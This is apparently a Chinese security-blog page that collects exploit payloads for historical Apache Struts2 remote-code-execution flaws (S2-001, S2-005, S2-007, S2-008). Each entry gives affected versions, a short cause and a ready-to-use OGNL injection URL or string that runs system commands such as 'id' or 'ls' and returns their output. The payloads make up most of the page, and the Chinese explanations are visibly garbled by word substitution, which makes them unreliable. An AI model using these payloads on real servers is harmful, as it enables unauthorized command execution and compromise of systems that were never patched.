/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

s2-008

影响版本:

2.1.0 – 2.3.1

破绽成因

主如果应用对传入参数没有严厉限定,致使多个处所可以或许实行歹意代码
第一种状况实在就是S2-007,在非常处置惩罚时的OGNL实行
第二种的cookie的体式格局,虽然在struts2没有对歹意代码举行限定,然则java的webserver(Tomcat),对cookie的称号有较多限定,在传入struts2之前就被处置惩罚,从而较为鸡肋
第四种须要开启devModedebug形式

复现接纳的是第四种devMode的debug形式,形成的恣意代码实行

POC

第一个vulhub给的poc 不好使呀 java.lang.UNIXProcess@493c1254

http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

有回显

/S2-008/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29

s2-007

影响版本

2.0.0-2.2.3

破绽成因

当设置装备摆设了考证划定规矩,范例转换失足时,举行了毛病的字符串拼接,进而形成了OGNL语句的实行。后端用代码拼接 “‘” + value + “‘” 然后对其举行 OGNL 表达式剖析,对照类似SQL注入单引号闭合,插进去语句,官方修复的时刻也跟sql注入对照类似,escape 对单引号转义

POC

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

s2-005

影响版本

2.0.0-2.1.8.1
影响成因
经由过程unicode 编码 \u0023 绕过struts对#的过滤,再经由过程设置xwork.MethodAccessor.denyMethodExecution 为false 和memberAccess.allowStaticMethodAccess为true 来绕过沙盒

POC

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29

s2-001

影响版本

2.0.0-2.0.8

破绽成因

因为用户提交表单数据而且考证失利时,后端会将用户之前提交的参数值运用 OGNL 表达式 %{value} 举行剖析,然后从新填充到对应的表单数据中

POC

Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Blind OS 敕令注入 备忘录

前言 在你做渗透测试或者CTF挑战时,可能会碰到直接提取用户输入作为系统命令执行或者在下层系统运行某些任务的应用。 如果(目标)没有验证用户的输入,那么应用很可能因此而受到一种名为“操作系统命令注入”的攻击。攻击者很可能利用


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Struts2 汗青RCE破绽 EXP汇总 常用工具流量特性剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址